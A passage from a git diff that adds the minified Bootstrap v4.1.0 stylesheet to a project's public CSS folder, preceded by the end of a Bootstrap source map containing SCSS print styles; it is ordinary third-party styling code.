{\n  @media print {\n    *,\n    *::before,\n    *::after {\n      // Bootstrap specific; comment out `color` and `background`\n      //color: $black !important; // Black prints faster\n      text-shadow: none !important;\n      //background: transparent !important;\n      box-shadow: none !important;\n    }\n\n    a {\n      &:not(.btn) {\n        text-decoration: underline;\n      }\n    }\n\n    // Bootstrap specific; comment the following selector out\n    //a[href]::after {\n    //  content: \" (\" attr(href) \")\";\n    //}\n\n    abbr[title]::after {\n      content: \" (\" attr(title) \")\";\n    }\n\n    // Bootstrap specific; comment the following selector out\n    //\n    // Don't show links that are fragment identifiers,\n    // or use the `javascript:` pseudo protocol\n    //\n\n    //a[href^=\"#\"]::after,\n    //a[href^=\"javascript:\"]::after {\n    // content: \"\";\n    //}\n\n    pre {\n      white-space: pre-wrap !important;\n    }\n    pre,\n    blockquote {\n      border: $border-width solid $gray-500;   // Bootstrap custom code; using `$border-width` instead of 1px\n      page-break-inside: avoid;\n    }\n\n    //\n    // Printing Tables:\n    // http://css-discuss.incutio.com/wiki/Printing_Tables\n    //\n\n    thead {\n      display: table-header-group;\n    }\n\n    tr,\n    img {\n      page-break-inside: avoid;\n    }\n\n    p,\n    h2,\n    h3 {\n      orphans: 3;\n      widows: 3;\n    }\n\n    h2,\n    h3 {\n      page-break-after: avoid;\n    }\n\n    // Bootstrap specific changes start\n\n    // Specify a size and min-width to make printing closer across browsers.\n    // We don't set margin here because it breaks `size` in Chrome. We also\n    // don't use `!important` on `size` as it breaks in Chrome.\n    @page {\n      size: $print-page-size;\n    }\n    body {\n      min-width: $print-body-min-width !important;\n    }\n    .container {\n      min-width: $print-body-min-width !important;\n    }\n\n    // Bootstrap components\n    .navbar {\n      display: none;\n    }\n    .badge {\n      border: $border-width solid $black;\n    }\n\n    .table {\n      border-collapse: collapse !important;\n\n      td,\n      th {\n        background-color: $white !important;\n      }\n    }\n    .table-bordered {\n      th,\n      td {\n        border: 1px solid $gray-300 !important;\n      }\n    }\n\n    // Bootstrap specific changes end\n  }\n}\n"]}
\ No newline at end of file
diff --git a/public/css/bootstrap.min.css b/public/css/bootstrap.min.css
new file mode 100644
index 0000000..e490fd0
--- /dev/null
+++ b/public/css/bootstrap.min.css
@@ -0,0 +1,7 @@
+/*!
+ * Bootstrap v4.1.0 (https://getbootstrap.com/)
+ * Copyright 2011-2018 The Bootstrap Authors
+ * Copyright 2011-2018 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:80%;font-weight:400}.mark,mark{padding:.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#6c757d}.blockquote-footer::before{content:"\2014 \00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-ms-flex-order:-1;order:-1}.order-last{-ms-flex-order:13;order:13}.order-0{-ms-flex-order:0;order:0}.order-1{-ms-flex-order:1;order:1}.order-2{-ms-flex-order:2;order:2}.order-3{-ms-flex-order:3;order:3}.order-4{-ms-flex-order:4;order:4}.order-5{-ms-flex-order:5;order:5}.order-6{-ms-flex-order:6;order:6}.order-7{-ms-flex-order:7;order:7}.order-8{-ms-flex-order:8;order:8}.order-9{-ms-flex-order:9;order:9}.order-10{-ms-flex-order:10;order:10}.order-11{-ms-flex-order:11;order:11}.order-12{-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-ms-flex-order:-1;order:-1}.order-sm-last{-ms-flex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6{-ms-flex-order:6;order:6}.order-sm-7{-ms-flex-order:7;order:7}.order-sm-8{-ms-flex-order:8;order:8}.order-sm-9{-ms-flex-order:9;order:9}.order-sm-10{-ms-flex-order:10;order:10}.order-sm-11{-ms-flex-order:11;order:11}.order-sm-12{-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-ms-flex-order:-1;order:-1}.order-md-last{-ms-flex-order:13;order:13}.order-md-0{-ms-flex-order:0;order:0}.order-md-1{-ms-flex-order:1;order:1}.order-md-2{-ms-flex-order:2;order:2}.order-md-3{-ms-flex-order:3;order:3}.order-md-4{-ms-flex-order:4;order:4}.order-md-5{-ms-flex-order:5;order:5}.order-md-6{-ms-flex-order:6;order:6}.order-md-7{-ms-flex-order:7;order:7}.order-md-8{-ms-flex-order:8;order:8}.order-md-9{-ms-flex-order:9;order:9}.order-md-10{-ms-flex-order:10;order:10}.order-md-11{-ms-flex-order:11;order:11}.order-md-12{-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-ms-flex-order:-1;order:-1}.order-lg-last{-ms-flex-order:13;order:13}.order-lg-0{-ms-flex-order:0;order:0}.order-lg-1{-ms-flex-order:1;order:1}.order-lg-2{-ms-flex-order:2;order:2}.order-lg-3{-ms-flex-order:3;order:3}.order-lg-4{-ms-flex-order:4;order:4}.order-lg-5{-ms-flex-order:5;order:5}.order-lg-6{-ms-flex-order:6;order:6}.order-lg-7{-ms-flex-order:7;order:7}.order-lg-8{-ms-flex-order:8;order:8}.order-lg-9{-ms-flex-order:9;order:9}.order-lg-10{-ms-flex-order:10;order:10}.order-lg-11{-ms-flex-order:11;order:11}.order-lg-12{-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-ms-flex-order:-1;order:-1}.order-xl-last{-ms-flex-order:13;order:13}.order-xl-0{-ms-flex-order:0;order:0}.order-xl-1{-ms-flex-order:1;order:1}.order-xl-2{-ms-flex-order:2;order:2}.order-xl-3{-ms-flex-order:3;order:3}.order-xl-4{-ms-flex-order:4;order:4}.order-xl-5{-ms-flex-order:5;order:5}.order-xl-6{-ms-flex-order:6;order:6}.order-xl-7{-ms-flex-order:7;order:7}.order-xl-8{-ms-flex-order:8;order:8}.order-xl-9{-ms-flex-order:9;order:9}.order-xl-10{-ms-flex-order:10;order:10}.order-xl-11{-ms-flex-order:11;order:11}.order-xl-12{-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.table{width:100%;max-width:100%;margin-bottom:1rem;background-color:transparent}.table td,.table th{padding:.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table .table{background-color:#fff}.table-sm td,.table-sm th{padding:.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered td,.table-bordered th{border:1px solid #dee2e6}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0,0,0,.05)}.table-hover tbody tr:hover{background-color:rgba(0,0,0,.075)}.table-primary,.table-primary>td,.table-primary>th{background-color:#b8daff}.table-hover .table-primary:hover{background-color:#9fcdff}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#9fcdff}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#d6d8db}.table-hover .table-secondary:hover{background-color:#c8cbcf}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#c8cbcf}.table-success,.table-success>td,.table-success>th{background-color:#c3e6cb}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-info>th{background-color:#bee5eb}.table-hover .table-info:hover{background-color:#abdde5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>td,.table-warning>th{background-color:#ffeeba}.table-hover .table-warning:hover{background-color:#ffe8a1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>td,.table-danger>th{background-color:#f5c6cb}.table-hover .table-danger:hover{background-color:#f1b0b7}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f1b0b7}.table-light,.table-light>td,.table-light>th{background-color:#fdfdfe}.table-hover .table-light:hover{background-color:#ececf6}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-hover .table-dark:hover{background-color:#b9bbbe}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b9bbbe}.table-active,.table-active>td,.table-active>th{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,.075)}.table .thead-dark th{color:#fff;background-color:#212529;border-color:#32383e}.table .thead-light th{color:#495057;background-color:#e9ecef;border-color:#dee2e6}.table-dark{color:#fff;background-color:#212529}.table-dark td,.table-dark th,.table-dark thead th{border-color:#32383e}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,.05)}.table-dark.table-hover tbody tr:hover{background-color:rgba(255,255,255,.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;padding:.375rem .75rem;font-size:1rem;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media screen and (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.form-control::-webkit-input-placeholder{color:#6c757d;opacity:1}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control:-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}select.form-control:not([size]):not([multiple]){height:calc(2.25rem + 2px)}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:.375rem;padding-bottom:.375rem;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm,.input-group-lg>.form-control-plaintext.form-control,.input-group-lg>.input-group-append>.form-control-plaintext.btn,.input-group-lg>.input-group-append>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-prepend>.form-control-plaintext.btn,.input-group-lg>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-sm>.form-control-plaintext.form-control,.input-group-sm>.input-group-append>.form-control-plaintext.btn,.input-group-sm>.input-group-append>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-prepend>.form-control-plaintext.btn,.input-group-sm>.input-group-prepend>.form-control-plaintext.input-group-text{padding-right:0;padding-left:0}.form-control-sm,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-prepend>.input-group-text{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.input-group-sm>.input-group-append>select.btn:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-sm>select.form-control:not([size]):not([multiple]),select.form-control-sm:not([size]):not([multiple]){height:calc(1.8125rem + 2px)}.form-control-lg,.input-group-lg>.form-control,.input-group-lg>.input-group-append>.btn,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-prepend>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.input-group-lg>.input-group-append>select.btn:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-lg>select.form-control:not([size]):not([multiple]),select.form-control-lg:not([size]):not([multiple]){height:calc(2.875rem + 